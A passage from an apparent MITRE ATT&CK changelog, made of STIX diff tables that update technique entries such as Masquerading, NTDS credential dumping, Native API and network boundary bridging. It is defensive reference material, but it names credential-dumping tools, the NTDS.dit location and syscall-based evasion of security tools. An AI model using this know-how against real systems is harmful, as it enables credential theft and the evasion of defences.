| external_references[3]['url'] | http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf | https://lolbas-project.github.io/ |
| external_references[4]['source_name'] | Twitter ItsReallyNick Masquerading Update | capec |
| external_references[4]['url'] | https://twitter.com/ItsReallyNick/status/1055321652777619457 | https://capec.mitre.org/data/definitions/177.html |
| x_mitre_contributors[1] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process command-line parameters | Scheduled Job: Scheduled Job Metadata |
| x_mitre_data_sources[1] | File monitoring | Service: Service Creation |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_data_sources[3] | Binary file metadata | Service: Service Metadata |
| x_mitre_defense_bypassed[0] | Application control by file name or path | Application Control |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: Process Metadata | |
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_data_sources | Image: Image Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may match or approximate the name or location of | t | 1 | Adversaries may match or approximate the name or location of |
| > | legitimate files when naming/placing their files. This is d | > | legitimate files or resources when naming/placing them. Thi | ||
| > | one for the sake of evading defenses and observation. This m | > | s is done for the sake of evading defenses and observation. | ||
| > | ay be done by placing an executable in a commonly trusted di | > | This may be done by placing an executable in a commonly trus | ||
| > | rectory (ex: under System32) or giving it the name of a legi | > | ted directory (ex: under System32) or giving it the name of | ||
| > | timate, trusted program (ex: svchost.exe). Alternatively, th | > | a legitimate, trusted program (ex: svchost.exe). In containe | ||
| > | e filename given may be a close approximation of legitimate | > | rized environments, this may also be done by creating a reso | ||
| > | programs or something innocuous. Adversaries may also use t | > | urce in a namespace that matches the naming convention of a | ||
| > | he same icon of the file they are trying to mimic. | > | container pod or cluster. Alternatively, a file or container | ||
| > | image name given may be a close approximation to legitimate | ||||
| > | programs/images or something innocuous. Adversaries may al | ||||
| > | so use the same icon of the file they are trying to mimic. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-177 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:11:45.970000+00:00 | 2022-05-05 04:56:50.197000+00:00 |
| description | Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. |
| external_references[1]['source_name'] | capec | Twitter ItsReallyNick Masquerading Update |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/177.html | https://twitter.com/ItsReallyNick/status/1055321652777619457 |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Docker Images |
| external_references[2]['description'] | Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016. | Docker. (n.d.). Docker Images. Retrieved April 6, 2021. |
| external_references[2]['url'] | http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf | https://docs.docker.com/engine/reference/commandline/images/ |
| external_references[3]['source_name'] | Twitter ItsReallyNick Masquerading Update | Elastic Masquerade Ball |
| external_references[3]['description'] | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. | Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016. |
| external_references[3]['url'] | https://twitter.com/ItsReallyNick/status/1055321652777619457 | http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf |
| x_mitre_data_sources[0] | File monitoring | Image: Image Metadata |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Metadata |
| x_mitre_defense_bypassed[0] | Application control by file name or path | Application Control |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html', 'external_id': 'CAPEC-177'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.798000+00:00 | 2021-04-20 14:51:01.759000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Creation |
| x_mitre_data_sources[1] | GCP audit logs | Snapshot: Snapshot Deletion |
| x_mitre_data_sources[2] | Azure activity logs | Volume: Volume Metadata |
| x_mitre_data_sources[3] | AWS CloudTrail logs | Snapshot: Snapshot Metadata |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Snapshot: Snapshot Creation | |
| x_mitre_data_sources | Volume: Volume Deletion | |
| x_mitre_data_sources | Instance: Instance Modification | |
| x_mitre_data_sources | Snapshot: Snapshot Modification | |
| x_mitre_data_sources | Instance: Instance Deletion | |
| x_mitre_data_sources | Volume: Volume Creation | |
| x_mitre_data_sources | Volume: Volume Modification | |
| x_mitre_data_sources | Instance: Instance Metadata | |
| x_mitre_data_sources | Instance: Instance Start | |
| x_mitre_data_sources | Instance: Instance Stop |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access or create a copy of the Ac | t | 1 | Adversaries may attempt to access or create a copy of the Ac |
| > | tive Directory domain database in order to steal credential | > | tive Directory domain database in order to steal credential | ||
| > | information, as well as obtain other information about domai | > | information, as well as obtain other information about domai | ||
| > | n members such as devices, users, and access rights. By defa | > | n members such as devices, users, and access rights. By defa | ||
| > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | ||
| > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | ||
| > | kipedia Active Directory) In addition to looking NTDS files | > | kipedia Active Directory) In addition to looking for NTDS f | ||
| > | on active Domain Controllers, attackers may search for back | > | iles on active Domain Controllers, adversaries may search fo | ||
| > | ups that contain the same or similar information.(Citation: | > | r backups that contain the same or similar information.(Cita | ||
| > | Metcalf 2015) The following tools and techniques can be use | > | tion: Metcalf 2015) The following tools and techniques can | ||
| > | d to enumerate the NTDS file and the contents of the entire | > | be used to enumerate the NTDS file and the contents of the e | ||
| > | Active Directory hashes. * Volume Shadow Copy * secretsdump | > | ntire Active Directory hashes. * Volume Shadow Copy * secre | ||
| > | .py * Using the in-built Windows tool, ntdsutil.exe * Invoke | > | tsdump.py * Using the in-built Windows tool, ntdsutil.exe * | ||
| > | -NinjaCopy | > | Invoke-NinjaCopy | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:39:39.949000+00:00 | 2022-03-08 21:00:52.774000+00:00 |
| description | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
| Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
|
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | PowerShell logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may directly interact with the native OS applica | t | 1 | Adversaries may interact with the native OS application prog |
| > | tion programming interface (API) to execute behaviors. Nativ | > | ramming interface (API) to execute behaviors. Native APIs pr | ||
| > | e APIs provide a controlled means of calling low-level OS se | > | ovide a controlled means of calling low-level OS services wi | ||
| > | rvices within the kernel, such as those involving hardware/d | > | thin the kernel, such as those involving hardware/devices, m | ||
| > | evices, memory, and processes.(Citation: NT API Windows)(Cit | > | emory, and processes.(Citation: NT API Windows)(Citation: Li | ||
| > | ation: Linux Kernel API) These native APIs are leveraged by | > | nux Kernel API) These native APIs are leveraged by the OS du | ||
| > | the OS during system boot (when other system components are | > | ring system boot (when other system components are not yet i | ||
| > | not yet initialized) as well as carrying out tasks and reque | > | nitialized) as well as carrying out tasks and requests durin | ||
| > | sts during routine operations. Functionality provided by na | > | g routine operations. Native API functions (such as <code>N | ||
| > | tive APIs are often also exposed to user-mode applications v | > | tCreateProcess</code>) may be directed invoked via system ca | ||
| > | ia interfaces and libraries. For example, functions such as | > | lls / syscalls, but these features are also often exposed to | ||
| > | the Windows API <code>CreateProcess()</code> or GNU <code>fo | > | user-mode applications via interfaces and libraries.(Citati | ||
| > | rk()</code> will allow programs and scripts to start other p | > | on: OutFlank System Calls)(Citation: CyberBit System Calls)( | ||
| > | rocesses.(Citation: Microsoft CreateProcess)(Citation: GNU F | > | Citation: MDSec System Calls) For example, functions such as | ||
| > | ork) This may allow API callers to execute a binary, run a C | > | the Windows API <code>CreateProcess()</code> or GNU <code>f | ||
| > | LI command, load modules, etc. as thousands of similar API f | > | ork()</code> will allow programs and scripts to start other | ||
| > | unctions exist for various system operations.(Citation: Micr | > | processes.(Citation: Microsoft CreateProcess)(Citation: GNU | ||
| > | osoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level | > | Fork) This may allow API callers to execute a binary, run a | ||
| > | software frameworks, such as Microsoft .NET and macOS Cocoa, | > | CLI command, load modules, etc. as thousands of similar API | ||
| > | are also available to interact with native APIs. These fram | > | functions exist for various system operations.(Citation: Mic | ||
| > | eworks typically provide language wrappers/abstractions to A | > | rosoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level | ||
| > | PI functionalities and are designed for ease-of-use/portabil | > | software frameworks, such as Microsoft .NET and macOS Cocoa | ||
| > | ity of code.(Citation: Microsoft NET)(Citation: Apple Core S | > | , are also available to interact with native APIs. These fra | ||
| > | ervices)(Citation: MACOS Cocoa)(Citation: macOS Foundation) | > | meworks typically provide language wrappers/abstractions to | ||
| > | Adversaries may abuse these native API functions as a means | > | API functionalities and are designed for ease-of-use/portabi | ||
| > | of executing behaviors. Similar to [Command and Scripting I | > | lity of code.(Citation: Microsoft NET)(Citation: Apple Core | ||
| > | nterpreter](https://attack.mitre.org/techniques/T1059), the | > | Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) | ||
| > | native API and its hierarchy of interfaces, provide mechanis | > | Adversaries may abuse these OS API functions as a means of | ||
| > | ms to interact with and utilize various components of a vict | > | executing behaviors. Similar to [Command and Scripting Inte | ||
| > | imized system. | > | rpreter](https://attack.mitre.org/techniques/T1059), the nat | ||
| > | ive API and its hierarchy of interfaces provide mechanisms t | ||||
| > | o interact with and utilize various components of a victimiz | ||||
| > | ed system. While invoking API functions, adversaries may als | ||||
| > | o attempt to bypass defensive tools (ex: unhooking monitored | ||||
| > | functions via [Disable or Modify Tools](https://attack.mitr | ||||
| > | e.org/techniques/T1562/001)). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:19:54.646000+00:00 | 2022-04-19 20:30:00.118000+00:00 |
| description | Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system. | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). |
| external_references[1]['source_name'] | NT API Windows | MACOS Cocoa |
| external_references[1]['description'] | The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020. | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://undocumented.ntinternals.net/ | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 |
| external_references[2]['source_name'] | Linux Kernel API | Apple Core Services |
| external_references[2]['description'] | Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020. | Apple. (n.d.). Core Services. Retrieved June 25, 2020. |
| external_references[2]['url'] | https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html | https://developer.apple.com/documentation/coreservices |
| external_references[3]['source_name'] | Microsoft CreateProcess | macOS Foundation |
| external_references[3]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | Apple. (n.d.). Foundation. Retrieved July 1, 2020. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://developer.apple.com/documentation/foundation |
| external_references[4]['source_name'] | GNU Fork | OutFlank System Calls |
| external_references[4]['description'] | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. | de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021. |
| external_references[4]['url'] | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html | https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ |
| external_references[5]['source_name'] | Microsoft Win32 | GNU Fork |
| external_references[5]['description'] | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/api/ | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html |
| external_references[6]['source_name'] | LIBC | CyberBit System Calls |
| external_references[6]['description'] | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. | Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. |
| external_references[6]['url'] | https://man7.org/linux/man-pages//man7/libc.7.html | https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ |
| external_references[8]['source_name'] | Microsoft NET | LIBC |
| external_references[8]['description'] | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. |
| external_references[8]['url'] | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework | https://man7.org/linux/man-pages//man7/libc.7.html |
| external_references[9]['source_name'] | Apple Core Services | Linux Kernel API |
| external_references[9]['description'] | Apple. (n.d.). Core Services. Retrieved June 25, 2020. | Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020. |
| external_references[9]['url'] | https://developer.apple.com/documentation/coreservices | https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html |
| external_references[10]['source_name'] | MACOS Cocoa | MDSec System Calls |
| external_references[10]['description'] | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. | MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. |
| external_references[10]['url'] | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 | https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ |
| external_references[11]['source_name'] | macOS Foundation | Microsoft CreateProcess |
| external_references[11]['description'] | Apple. (n.d.). Foundation. Retrieved July 1, 2020. | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. |
| external_references[11]['url'] | https://developer.apple.com/documentation/foundation | http://msdn.microsoft.com/en-us/library/ms682425 |
| x_mitre_data_sources[0] | System calls | Process: OS API Execution |
| x_mitre_data_sources[1] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Win32', 'description': 'Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/'} | |
| external_references | {'source_name': 'Microsoft NET', 'description': 'Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.', 'url': 'https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework'} | |
| external_references | {'source_name': 'NT API Windows', 'description': 'The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.', 'url': 'https://undocumented.ntinternals.net/'} | |
| x_mitre_contributors | Gordon Long, Box, Inc., @ethicalhax |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bridge network boundaries by compromising pe | t | 1 | Adversaries may bridge network boundaries by compromising pe |
| > | rimeter network devices. Breaching these devices may enable | > | rimeter network devices or internal devices responsible for | ||
| > | an adversary to bypass restrictions on traffic routing that | > | network segmentation. Breaching these devices may enable an | ||
| > | otherwise separate trusted and untrusted networks. Devices | > | adversary to bypass restrictions on traffic routing that oth | ||
| > | such as routers and firewalls can be used to create boundari | > | erwise separate trusted and untrusted networks. Devices suc | ||
| > | es between trusted and untrusted networks. They achieve thi | > | h as routers and firewalls can be used to create boundaries | ||
| > | s by restricting traffic types to enforce organizational pol | > | between trusted and untrusted networks. They achieve this b | ||
| > | icy in an attempt to reduce the risk inherent in such connec | > | y restricting traffic types to enforce organizational policy | ||
| > | tions. Restriction of traffic can be achieved by prohibitin | > | in an attempt to reduce the risk inherent in such connectio | ||
| > | g IP addresses, layer 4 protocol ports, or through deep pack | > | ns. Restriction of traffic can be achieved by prohibiting I | ||
| > | et inspection to identify applications. To participate with | > | P addresses, layer 4 protocol ports, or through deep packet | ||
| > | the rest of the network, these devices can be directly addr | > | inspection to identify applications. To participate with th | ||
| > | essable or transparent, but their mode of operation has no b | > | e rest of the network, these devices can be directly address | ||
| > | earing on how the adversary can bypass them when compromised | > | able or transparent, but their mode of operation has no bear | ||
| > | . When an adversary takes control of such a boundary device | > | ing on how the adversary can bypass them when compromised. | ||
| > | , they can bypass its policy enforcement to pass normally pr | > | When an adversary takes control of such a boundary device, t | ||
| > | ohibited traffic across the trust boundary between the two s | > | hey can bypass its policy enforcement to pass normally prohi | ||
| > | eparated networks without hinderance. By achieving sufficie | > | bited traffic across the trust boundary between the two sepa | ||
| > | nt rights on the device, an adversary can reconfigure the de | > | rated networks without hinderance. By achieving sufficient | ||
| > | vice to allow the traffic they want, allowing them to then f | > | rights on the device, an adversary can reconfigure the devic | ||
| > | urther achieve goals such as command and control via [Multi- | > | e to allow the traffic they want, allowing them to then furt | ||
| > | hop Proxy](https://attack.mitre.org/techniques/T1090/003) or | > | her achieve goals such as command and control via [Multi-hop | ||
| > | exfiltration of data via [Traffic Duplication](https://atta | > | Proxy](https://attack.mitre.org/techniques/T1090/003) or ex | ||
| > | ck.mitre.org/techniques/T1020/001). In the cases where a bo | > | filtration of data via [Traffic Duplication](https://attack. | ||
| > | rder device separates two separate organizations, the advers | > | mitre.org/techniques/T1020/001). Adversaries may also target | ||
| > | ary can also facilitate lateral movement into new victim env | > | internal devices responsible for network segmentation and a | ||
| > | ironments. | > | buse these in conjunction with [Internal Proxy](https://atta | ||
| > | ck.mitre.org/techniques/T1090/001) to achieve the same goals | ||||
| > | .(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases w | ||||
| > | here a border device separates two separate organizations, t | ||||
| > | he adversary can also facilitate lateral movement into new v | ||||
| > | ictim environments. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
